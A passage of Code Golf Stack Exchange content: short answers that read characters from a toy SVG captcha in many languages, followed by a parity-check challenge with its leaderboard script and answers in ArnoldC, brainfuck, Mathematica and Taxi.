interpreter](http://cjam.aditsu.net/#code=q%22x%3D%22%2F2%3E%7B'%22%2F1%3Di%7D%24%7B'%3E%2F1%3Dc%7D%2F&input=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%2020010904%2F%2FEN%22%0A%20%20%20%20%20%20%20%20%22http%3A%2F%2Fwww.w3.org%2FTR%2F2001%2FREC-SVG-20010904%2FDTD%2Fsvg10.dtd%22%3E%0A%20%20%20%20%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20xml%3Aspace%3D%22preserve%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20width%3D%22200%22%20height%3D%2240%22%0A%20%20%20%20%3E%20%3Crect%20x%3D%220%22%20y%3D%220%22%20width%3D%22200%22%20height%3D%2240%22%20%0A%20%20%20%20%20%20%20%20style%3D%22stroke%3A%20none%3B%20fill%3A%20none%3B%22%20%3E%0A%20%20%20%20%20%20%20%20%3C%2Frect%3E%20%3Ctext%20style%3D%22fill%3A%20%234d9363%3B%22%20x%3D%225%22%20y%3D%2234%22%20font-size%3D%2220%22%20transform%3D%22translate(5%2C%2034)%20rotate(-17)%20translate(-5%2C%20-34)%22%3E8%3C%2Ftext%3E%0A%3Ctext%20style%3D%22fill%3A%20%23be8b33%3B%22%20x%3D%22125%22%20y%3D%2229%22%20font-size%3D%2221%22%20transform%3D%22translate(125%2C%2029)%20rotate(17)%20translate(-125%2C%20-29)%22%3Ef%3C%2Ftext%3E%0A%3Ctext%20style%3D%22fill%3A%20%23d561ff%3B%22%20x%3D%2245%22%20y%3D%2235%22%20font-size%3D%2220%22%20transform%3D%22translate(45%2C%2035)%20rotate(-2)%20translate(-45%2C%20-35)%22%3E4%3C%2Ftext%3E%0A%3Ctext%20style%3D%22fill%3A%20%233de754%3B%22%20x%3D%2285%22%20y%3D%2231%22%20font-size%3D%2221%22%20transform%3D%22translate(85%2C%2031)%20rotate(-9)%20translate(-85%2C%20-31)%22%3E8%3C%2Ftext%3E%0A%3Ctext%20style%3D%22fill%3A%20%235ed4bf%3B%22%20x%3D%2225%22%20y%3D%2233%22%20font-size%3D%2222%22%20transform%3D%22translate(25%2C%2033)%20rotate(16)%20translate(-25%2C%20-33)%22%3Eu%3C%2Ftext%3E%0A%3Ctext%20style%3D%22fill%3A%20%23894aee%3B%22%20x%3D%22105%22%20y%3D%2228%22%20font-size%3D%2225%22%20transform%3D%22translate(105%2C%2028)%20rotate(9)%20translate(-105%2C%20-28)%22%3E1%3C%2Ftext%3E%0A%3Ctext%20style%3D%22fill%3A%20%23e4c437%3B%22%20x%3D%2265%22%20y%3D%2232%22%20font-size%3D%2220%22%20transform%3D%22translate(65%2C%2032)%20rotate(17)%20translate(-65%2C%20-32)%22%3Ex%3C%2Ftext%3E%0A%3C%2Fsvg%3E). ### How it works ``` q e# Read all input from STDIN. "x="/ e# Split it at occurrences of "x=". 2> e# Discard the first two chunks (head and container). { e# Sort the remaining chunks by the following key: '"/ e# Split at occurrences of '"'. 1= e# Select the second chunk (digits of x="<digits>"). i e# Cast to integer. }$ e# { e# For each of the sorted chunks: '>/ e# Split at occurrences of '>'. 1= e# Select the second chunk. c e# Cast to character. }/ e# ``` [Answer] # JavaScript, 95 93 91 bytes ``` l=[],r=/x="(\d*).*>(.)/g;while(e=r.exec(document.lastChild.innerHTML))l[e[1]]=e[2];l.join`` ``` *edit: -2 bytes changing `documentRoot` to `lastChild`; -2 bytes changing `join('')` to `join```, thanks Vɪʜᴀɴ* Enter code in the browser console on a page containg the SVG in question, writes to console output. [Answer] ## Perl, 40 bytes **39 bytes code + 1 for -n** ``` $a[$1]=$2 for/x="(.+)".+(.)</g}{print@a ``` ### Example: ``` perl -ne '$a[$1]=$2 for/x="(.+)".+(.)</g}{print@a' <<< '<example from above>' 8u4x81f ``` [Answer] # Bash + GNU utilities, 53 ``` grep -Po '(?<=x=").*(?=<)'|sort -n|grep -Po '(?<=>).' ``` Like [this answer](https://codegolf.stackexchange.com/a/63991/11259), output is one char per line. [Answer] ## [Perl 6](http://perl6.org), 68 bytes ``` say [~] lines.map({/'x="'(\d+).*(.)\</??(+$0=>$1)!!()}).sort».value ``` [Answer] # Befunge, 79 bytes It feels like it should be possible to golf at least one more byte off of this, but I've been working on it for a couple of days now, and this is as good as I could get it. ``` <%*:"~"*"~"_~&45*/99p1v-">":_|#`0:~< #,:#g7-#:_@^-+*"x~=":+_~99g7p>999p#^_>>#1+ ``` [Try it online!](http://befunge.tryitonline.net/#code=PCUqOiJ+IioifiJffiY0NSovOTlwMXYtIj4iOl98I2AwOn48CiMsOiNnNy0jOl9AXi0rKiJ4fj0iOitffjk5ZzdwPjk5OXAjXl8+PiMxKw&input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48IURPQ1RZUEUgc3ZnIFBVQkxJQyAiLS8vVzNDLy9EVEQgU1ZHIDIwMDEwOTA0Ly9FTiIKICAgICAgICAiaHR0cDovL3d3dy53My5vcmcvVFIvMjAwMS9SRUMtU1ZHLTIwMDEwOTA0L0RURC9zdmcxMC5kdGQiPgogICAgPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4bWw6c3BhY2U9InByZXNlcnZlIgogICAgICAgICAgICAgd2lkdGg9IjIwMCIgaGVpZ2h0PSI0MCIKICAgID4gPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjIwMCIgaGVpZ2h0PSI0MCIgCiAgICAgICAgc3R5bGU9InN0cm9rZTogbm9uZTsgZmlsbDogbm9uZTsiID4KICAgICAgICA8L3JlY3Q+IDx0ZXh0IHN0eWxlPSJmaWxsOiAjNGQ5MzYzOyIgeD0iNSIgeT0iMzQiIGZvbnQtc2l6ZT0iMjAiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDUsIDM0KSByb3RhdGUoLTE3KSB0cmFuc2xhdGUoLTUsIC0zNCkiPjg8L3RleHQ+Cjx0ZXh0IHN0eWxlPSJmaWxsOiAjYmU4YjMzOyIgeD0iMTI1IiB5PSIyOSIgZm9udC1zaXplPSIyMSIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTI1LCAyOSkgcm90YXRlKDE3KSB0cmFuc2xhdGUoLTEyNSwgLTI5KSI+ZjwvdGV4dD4KPHRleHQgc3R5bGU9ImZpbGw6ICNkNTYxZmY7IiB4PSI0NSIgeT0iMzUiIGZvbnQtc2l6ZT0iMjAiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDQ1LCAzNSkgcm90YXRlKC0yKSB0cmFuc2xhdGUoLTQ1LCAtMzUpIj40PC90ZXh0Pgo8dGV4dCBzdHlsZT0iZmlsbDogIzNkZTc1NDsiIHg9Ijg1IiB5PSIzMSIgZm9udC1zaXplPSIyMSIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoODUsIDMxKSByb3RhdGUoLTkpIHRyYW5zbGF0ZSgtODUsIC0zMSkiPjg8L3RleHQ+Cjx0ZXh0IHN0eWxlPSJmaWxsOiAjNWVkNGJmOyIgeD0iMjUiIHk9IjMzIiBmb250LXNpemU9IjIyIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgyNSwgMzMpIHJvdGF0ZSgxNikgdHJhbnNsYXRlKC0yNSwgLTMzKSI+dTwvdGV4dD4KPHRleHQgc3R5bGU9ImZpbGw6ICM4OTRhZWU7IiB4PSIxMDUiIHk9IjI4IiBmb250LXNpemU9IjI1IiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgxMDUsIDI4KSByb3RhdGUoOSkgdHJhbnNsYXRlKC0xMDUsIC0yOCkiPjE8L3RleHQ+Cjx0ZXh0IHN0eWxlPSJmaWxsOiAjZTRjNDM3OyIgeD0iNjUiIHk9IjMyIiBmb250LXNpemU9IjIwIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSg2NSwgMzIpIHJvdGF0ZSgxNykgdHJhbnNsYXRlKC02NSwgLTMyKSI+eDwvdGV4dD4KPC9zdmc+) **Explanation** ![Source code with execution paths highlighted](https://i.stack.imgur.com/4ozqv.png) ![*](https://i.stack.imgur.com/jmV4j.png) Make the execution direction right-to-left, and wrap around to start the main loop. ![*](https://i.stack.imgur.com/z4eIY.png) Read a char from stdin, and test for the end-of-file value. ![*](https://i.stack.imgur.com/RFUim.png) If it's not end-of-file, check if it's a `>`. ![*](https://i.stack.imgur.com/BX1CZ.png) If it's not a `>`, add it to the value on the stack which tracks the last two characters, and check if the current pair matches `x=`. I'm glossing over some of the details here, since the code paths overlap each other in ways which are a little difficult to explain, but it should give you a general idea of how the algorithm works. [Answer] # Python2, 129 bytes ``` import re,sys print''.join(t[1] for t in sorted(re.findall(r'(\d+), -\d+\)"\>(.)\</t',sys.stdin.read()),key=lambda t:int(t[0]))) ``` Takes the HTML source on stdin, produces code on stdout. [Answer] # Mathematica, 106 bytes ``` ""<>(v=ImportString[#~StringDrop~157,"XML"][[2,3,4;;;;2]])[[;;,3]][[Ordering[FromDigits/@v[[;;,2,2,2]]]]]& ``` Note: The input needs to be in exactly the format specified by the example. [Answer] # [V](https://github.com/DJMcMayhem/V), 28 26 25 24 bytes ``` d5j́x= ún J́"> lH$dÍî ``` [Try it online!](https://tio.run/##jZTRjtJAFIbveQCvx6MXbrJlOp1paZF2E4GsGqObFTVesnQKdbstaWeh650PsK/iA3gpD4Yz01pSA0gvmiH/Oef7@eekq@02tL9tHn//KP3O5lfaeavOEHSSJ6@fh5vHzc/tdnBR3iVoxfMizlIfSNcExNNZFsbp3Id7ERkuXASDp6MPw8nXqzEqVnN09enVuzdDBAbGX@gQ49FkhD5@vkSWaRLTMxnG4/fQQfUDCyGWfYzX63V3TbtZPseTa6xq8fV4aMhGo2mUk7AkELMbilAaVf0DhZQm08LfM0q2mqoFqpJ@mcTp7b5C4nke1qou7RfL6Yz7sMx5wfMV3/nVzzoOxcIHOR3QgsfzhfCBmVVRgAY5nwlU@iDVB/0@UI@aqYV4SCSuEHl2y/sozVL@EkVxktRnQEFTO8BqvsQIXoq/nVXtMxZ61KGyXNJtTacMUJSlwiji71xZACTyaVpEWX7ngz4mU8Ff2OeIsjOUZ0L9MkjvDO1EQ6qGlCFwB1hhg84@@g13b2hNJ1bFt7w2nxzgy/pzZHmNg38MaNmQOgTRMQuh7ZAoqiywOgH7tASYisDeRWC1DDAdgS357Bifhrxns4rv1nxyWgKu4pMd32vxXc0n/7sCm4fspv7/9Q1Q2uZbB/gqYUp3F@C0@Dp/KUNwf4zvemzKeb0CZr0CbtuAfWgFTLUCbuOgHYBWDSlDQI454GzGaK9y4NQJWKdtgKMSsA6toKMTsCS/bPjq2xL8AQ "V – Try It Online") Explanation: ``` d5j delete first 6 lines Í*<0x81>*x= In every line, replace everything up to x=" (inclusive) by nothing ún Sort numerically J Join line (closing </svg>) with next line Í*<0x81>*"> In every line, replace everything up to "> by nothing l␖H$d Visual block around closing </text> tags, delete Íî In every line, replace \n by nothing. ``` HexDump: ``` 00000000: 6435 6acd 8178 3d0a fa6e 0a4a cd81 223e d5j..x=..n.J.."> 00000010: 0a6c 1648 2464 cdee .l.H$d.. ``` [Answer] # [QuadS](https://github.com/abrudz/QuadRS), 49 bytes ``` ∊c[⍋⊃x c←↓⍎¨@1⍉(⊢⍴⍨2,⍨.5×≢)3↓⍵] x="(\d+) >(.)< \1 ``` [Try it online!](https://tio.run/##jZRBbtNAFIb3OcUwbBIRZzyecWoH20UkEUJCUJUCQpRFEo8Tq6md2tMmZYtU0aAgJBbsu@oB4AJwE18kzIxNIqMk1AvL1vvf@37/8@Sz856fLpfZp/ngXbb4nM0/zsAgu/qaXX3LFl9@3T7C2eK6ms1vssWPbHFr1MWtYf7@nl3f1IgS/Xxfmbmweuw/qFW8aqPmVI7xcunsz07H4IIlaRhHLsQNHQIWDWI/jIYuPOeBZsF9z7nXedE@envQBenFEBy8evzsaRtADaE3pI1Q56gDXr5@Agxdx7qtU4S6z2EFFBcccT5pITSdThtT0oiTITo6RFKLDrttTTRqq0YxCQkC1hs@96GnZjgSKUxGqbthlGjVZQvMJa3ZOIxONgmxbdtIVZW0lU56A@bCScJSllywtV91TUOfj1wopkMwYuFwxF1I9VzkASdhAw5EmqJ6qe5b9GA1NeWXY4FLeRKfsBaI4og9BEE4HhfPEHgrrYPkfIHhbMb/duba@9S3SZMIuaCbik4oBEEccS0NPzBpAQKe9KI0iJNTF6rHcY@zqlkHhNZAEnP5puG9GlgXNVHVRBl6loMk1qtsoveZ1ScFHRs537DLfLyFL/R1YNgrB/8YUGVN1KEX7LLgm00cBLkFWiRg3i0BKiMw1xEYJQNURWAKPt3FJz7bM2nOtwo@vlsCluTjNd8u8S3Fx/87ApP5tF98f3EChJT5xha@TJiQ9QE0S3yVvyhD73wX37Jpj7FiBfRiBayyAXPbCuhyBayVg3IAqqqJMvTwLgeMDijZyx00iwSMu21AUyZgbFvBpkrAEPzZii//Ld7yDw "QuadS – Try It Online") Finds x values (digit-runs after `x="`) and "letters" (pinned by closing and opening tags), then executes the following APL (where `⍵` is the list of found x values and letters, in order of appearance): `3↓⍵` drop the first three elements (spaces around `<rect`…`/rect>` and the `<rect`'s x value). `(`…`)` apply the following tacit function on that:  `≢` the number of remaining items  `.5×` halve that  `2,⍨` append a two  `⊢⍴⍨` reshape to that shape (i.e. an n×2 matrix) `⍉` transpose (to a 2×n matrix) `⍎¨@1` execute each string in the first row (turning them into numbers) `↓` split the matrix into two vectors (one per row) `x c←` store those two in x (x values) and c (characters) respectively `⊃` pick the first (x) `⍋` grade up (the indices into x which would sort x) `c[`…`]` use that to index into `c` `∊` **ϵ**nlist (flatten) because each letter is a string by itself --- The equivalent APL expression of the entire QuadS program is: ``` ∊c[⍋⊃x c←↓⍎¨@1⍉(⊢⍴⍨2,⍨.5×≢)3↓'x="(\d+)"' '>(.)<'⎕S'\1'⊢⎕] ``` [Answer] # Java 8, ~~197~~ 173 bytes ``` import java.util*;s->{String a[]=s.split("x=\""),r="";Map m=new TreeMap();for(int i=2;i<a.length;m.put(new Long(a[i].split("\"")[0]),a[i++].split(">|<")[1]));return m.values();} ``` Outputs a `java.util.Collection` of characters. **Explanation:** [Try it online.](https://tio.run/##lZXbbtNAEIbv@xSDubFp7fUxtZsDEmmFkKBUtIBQkwvHXifbOmvLu05SoM9eZt3EJRGFEEWJd/45fDszSm7iRWwWJeU36e0Dm5dFJeEGbVYtWW696gK@CIGLGO1FBnJGYXInqZkUNZcHSR4LAR9ixn8cADAuaZXFCYVzdQQYFnlOE8kKDol@KSvGpyCMLmr3B/ghZCxZAufAoQ8Pwhz8WPvE1@O@sESZM6lrq/5I04zuh7iEeZ/TJVxVlOJJN7pZUelYFFjf7bJebOWUT@WsO7fKWurK9X3Bp3p8zcabZCrVtT02jtB4eNiaBz97aHfGhtGtqKwrDnNrEec1FVjl/kER47usJznyrrEXBUthjldf3@x6HBuP1768E5LOraKWVomKzLnOrURvNACt93o1z2FBK4GNwcs5lj3SgPKkSDENGmqZmeFIez3ovTj9OLz6dnEGYjGFi89v3r8bwkgzCfnqDQk5vTqFyy9vwbVtx45sn5Czc8w00mZSlieELJdLa@lZRTUlV5@I8iKfzoYmhphtCOYgmNyxrVSmI22gHbaYqiaSctH/U0bMYKtILNg4naxyxm//6OpEUUQa@dH5RJS4JOhaVlTQakHRvGSpnKEJ0@JpRtl0JvHo278zKaoKFwrUTii/u/X3X6JxXHe5KiZkVdzSE@AFp13IWJ6vn9Fn0CMq73YlSVeyjX70f@mnkdfxVIhCCNYIno8PWcGlKdh32nCgQVYxF7iiczQ0z3ksqR4cgecbUBVSnUzn2IAn0UTVRBkvHfaIAvg30oSGE69FctwNlBvtQjnPQmHUEbhRi7VD1cgm6siV7cuVBh0nyzZcfturYP9e@apZwVOz3C0qv2lWoKD8faG8lB4H/gYqbKGc/XsVKijnCSraggobKOe/JhjQ1J@0nWoH6Hm7UO6zUGpAnvc0v84WVDM@lBGq3hcqjPyY0nat7Hatwl2q4Pm1stVahS3Wdqsa1UQZsZx9saif@N7xBqvT9srdf6s6qlfuc7veaXrlKqjVLpTWU794A81Y/4fdP/wC) ``` import java.util*; // Required import for Map and TreeMap s->{ // Method with String as both parameter and return-type String a[]=s.split("x=\""), // Split the input by `x="`, and store it as String-array r=""; // Result-String, starting empty Map m=new TreeMap(); // Create a sorted key-value map for(int i=2; // Skip the first two items in the array, i<a.length; // and loop over the rest m.put(new Long(a[i].split("\"")[0]), // Split by `"` and use the first item as number-key a[i++].split(">|<")[1])); // Split by `>` AND `<`, and use the second item as value return m.values();} // Return the values of the sorted map as result ``` [Answer] # [Gema](http://gema.sourceforge.net/), 65 characters ``` x\="<D>*\>?=@set{$1;?} ?= \Z=${5}${25}${45}${65}${85}${105}${125} ``` In Gema there is no sorting, but fortunately is not even needed. Sample run: ``` bash-4.4$ gema 'x\="<D>*\>?=@set{$1;?};?=;\Z=${5}${25}${45}${65}${85}${105}${125}' < captcha.svg 8u4x81f ``` [Answer] # [XMLStarlet](http://xmlstar.sourceforge.net/), 46 characters ``` xmlstarlet sel -t -m //_:text -s A:N:U @x -v . ``` Hopefully this is valid solution as XMLStarlet is transpiler that generates and executes XSLT code, which is a Turing complete language. Sample run: ``` bash-4.4$ xmlstarlet sel -t -m //_:text -s A:N:U @x -v . < captcha.svg 8u4x81f ``` [Answer] ## PHP, 96 bytes *Given that `$i` is the input string* ``` preg_match_all('|x="(\d+).*(.)\<|',$i,$m);$a=array_combine($m[1],$m[2]);ksort($a);echo join($a); ``` [Answer] # [Clean](https://clean.cs.ru.nl), ~~277~~ 150 bytes Yay pattern matching! ``` import StdEnv,StdLib ?s=map snd(sort(zip(map(toInt o toString)[takeWhile isDigit h\\['" x="':h]<-tails s],[c\\[c:t]<-tails s|take 7 t==['</text>']]))) ``` [Try it online!](https://tio.run/##jZRdb9owFIbv@RVn7gUgEZxPSCgJ0gBVlaqtKt2qiXIREgesBgfFLtBqv33MTtIipsJ6k8R@X5/nfESOUhKy/SqLn1MCq5CyPV2ts1zARMRjtmnJ1w2d1wbcX4Vr4CxucKk2Xum6ITcaIrtmAjIQ2UTklC2aUxE@kYclldEoH9EFFbB8fJzWEex8VO8tZ31NhDTlwGetaSSVqCcOe7/VaeiC8P1pvY8F2YmgPps1m839RIS5qF0A3yzAB6kOdqsUNiTnNGM@Mto6AsKiLJZZ@OhZJJqLBkH/y@j78P7X7bg4d/vj6831EJCG8YM1xHh0P4LJzyswdd3QPd3GePwNoaUQ6x7G2@22vbXaWb7A93dYWfDdeKhJv/bulwGwDGzo7VjEKOgriEyLcf@DKPKUrtyotPR2KWVPHxkNz/NwoRbWHl@HEfHROiec5BuCtjQWSx/JeAiWhC6Wwke2LvE5iYTqs9x/KZ4nnMDFSyojcpFnT6QHLGPkEhKaptU3gqCPVbQA@moIbwdKy4Ude1bHuixm6hQsy0aQZExonL4SBUQg8pDxJMtXPio@01CQhtMCy25Cngm10oxuEw6iJlVNyihwq9l/BJ8Td25VcMMs8aZ3jDdO4KW/Bab3nsA//ELWpI6C5EwGsdMxkqTMwK7qdz5Xv60a4BwaYB7x7aIBjsTbZ/BWTLqOXeLdCm98rn5X4Y0D3jvCuwXe@E//HRLb86r6qv2WdYw3T@BVey3r0P3OEb5ovpRR8HwG73p2SEg1fr0av3vMd06NX1fjd98TOC6/UDUpo8A4kwCxI9vqlgl0qvrNz02/o@o3T/19naJ@U@J3b3h1XcgLsObDQF1gtf2fKEnDBd9r1zf70QsLVzQqF7cyhsIVi/LS/gs "Clean – Try It Online") Defines the function `?`, taking `[Char]` and giving `[Char]`. ]
[Question] [ > > *Note: There is not been a vanilla parity test challenge yet (There is a C/C++ one but that disallows the ability to use languages other than C/C++, and other non-vanilla ones are mostly closed too), So I am posting one.* > > > Given a positive integer, output its parity (i.e. if the number is odd or even) in truthy/falsy values. You may choose whether truthy results correspond to odd or even inputs. --- # Examples Assuming True/False as even and odd (This is not required, You may use other Truthy/Falsy values for each), responsively: ``` (Input):(Output) 1:False 2:True 16384:True 99999999:False ``` # Leaderboard ``` var QUESTION_ID=113448,OVERRIDE_USER=64499;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){var F=function(a){return a.lang.replace(/<\/?a.*?>/g,"").toLowerCase()},el=F(e),sl=F(s);return el>sl?1:el<sl?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # [ArnoldC](https://lhartikk.github.io/ArnoldC/), ~~299~~ 283 bytes ``` IT'S SHOWTIME HEY CHRISTMAS TREE i YOU SET US UP 0 GET YOUR ASS TO MARS i DO IT NOW I WANT TO ASK YOU A BUNCH OF QUESTIONS AND I WANT TO HAVE THEM ANSWERED IMMEDIATELY GET TO THE CHOPPER i HERE IS MY INVITATION i I LET HIM GO 2 ENOUGH TALK TALK TO THE HAND i YOU HAVE BEEN TERMINATED ``` This outputs `1` (which is truthy) for odd input and `0` (which is falsy) for even input. [**Try it online!**](https://tio.run/nexus/arnoldc#RY9RbsNACET/9xTz19@qUg9AYmpQvIu7sLF8hN7/AA5OFeUHoZknZjg0PhwutoVWLsI7rtLVo5IjOjP@ym4DzoHhGCs@y5x7ah3kyRgqdU9sMmig2VYUG7U4LfLbiYJwGe0qsB/8DvZQaw5qE96o0J0RwjV137hzmrXypBS87M/QpBLIgrau3DNSEoM66g5tdw06D6euWBIXrZgNX4WbjVkQtNzKOV6H5Gzw/98z/cLcENyrtgydjuP7eAA "ArnoldC – TIO Nexus") ## “[Now this is the plan](https://www.youtube.com/watch?v=dAX2H0hpOc4&feature=youtu.be)” (An attempt at an explanation) The code reads the input into variable `i`, replaces it with the result of modulo 2, and then prints it. ``` IT'S SHOWTIME # BeginMain HEY CHRISTMAS TREE i # Declare i YOU SET US UP 0 # SetInitialValue 0 GET YOUR ASS TO MARS i # AssignVariableFromMethodCall i DO IT NOW # CallMethod I WANT TO ASK YOU ... ANSWERED IMMEDIATELY # ReadInteger GET TO THE CHOPPER i # AssignVariable i HERE IS MY INVITATION i # SetValue i (push i on the stack) I LET HIM GO 2 # ModuloOperator 2 ENOUGH TALK # EndAssignVariable TALK TO THE HAND i # Print i YOU HAVE BEEN TERMINATED # EndMain ``` [Answer] # [brainfuck](https://github.com/TryItOnline/tio-transpilers), 8 bytes ``` +[,>,]<. ``` Input is in unary. Output is the **1** (truthy) for odd numbers and **NUL** (falsy) for even numbers. [Try it online!](https://tio.run/nexus/brainfuck#@68drWOnE2uj9/@/IQgAAA "brainfuck – TIO Nexus") ### How it works We start by incrementing the current cell with `+` to be able to enter the while loop `[,>,]`. In each iteration, `,` reads a byte from STDIN, `>` advances to the cell to the right, then `,` reads another byte from STDIN. When input is exhausted, the interpreter (the one on TIO, anyway) will set the cell to **NUL** instead. Once that happens, the condition of the while loop is no longer fulfilled and we break out of it. Let **n** be the input integer. If there is an even amount of input bytes – i.e., if **n** is even – the first **n/2** iterations will read two **1**'s, and the next iteration will read two **NUL**'s, leaving the tape as follows. ``` ... 1 NUL NUL ... 49 0 0 ^ ``` `<.` retrocedes one cell and prints its content, sending a **NUL** byte to STDOUT. However, if there is an odd amount of input bytes, the first **(n - 1)/2** iterations will read two **1**'s, and the next iteration will read one **1** and one **NUL**, leaving the tape as follows. ``` ... 1 1 NUL ... 49 49 0 ^ ``` `<` will now retrocede to a cell holding the byte/character **1**, which `.` prints. [Answer] ## Mathematica, 4 bytes ``` OddQ ``` Gives `True` for odd inputs and `False` for even inputs, who knew? There's also `EvenQ`, but who would want to type all of that? [Answer] # [Taxi](https://bigzaphod.github.io/Taxi/), ~~1,482~~ ~~1,290~~ ~~1,063~~ ~~1,029~~ 1,009 bytes I've never written a program in Taxi before and I'm a novice in programming for general, so there are probably better ways to go about this. I've checked for errors and managed to golf it a bit by trying different routes that have the same result. I welcome any and all revision. Returns `0` for even and `1` for odd. ``` Go to Post Office:w 1 l 1 r 1 l.Pickup a passenger going to The Babelfishery.Go to The Babelfishery:s 1 l 1 r.Pickup a passenger going to Divide and Conquer.2 is waiting at Starchild Numerology.Go to Starchild Numerology:n 1 l 1 l 1 l 2 l.Pickup a passenger going to Divide and Conquer.Go to Divide and Conquer:e 1 l 2 r 3 r 2 r 1 r.Pickup a passenger going to Cyclone.Go to Cyclone:e 1 l 1 l 2 l.Pickup a passenger going to Trunkers.Pickup a passenger going to Equal's Corner.Go to Trunkers:s 1 l.Pickup a passenger going to Equal's Corner.Go to Equal's Corner:w 1 l.Switch to plan "b" if no one is waiting.Pickup a passenger going to Knots Landing.Go to Knots Landing:n 4 r 1 r 2 r 1 l.[a]Pickup a passenger going to The Babelfishery.Go to The Babelfishery:w 1 l.Pickup a passenger going to Post Office.Go to Post Office:n 1 l 1 r.[b]0 is waiting at Starchild Numerology.Go to Starchild Numerology:n 1 r.Pickup a passenger going to Knots Landing.Go to Knots Landing:w 1 r 2 r 1 r 2 l 5 r.Switch to plan "a". ``` [Try it 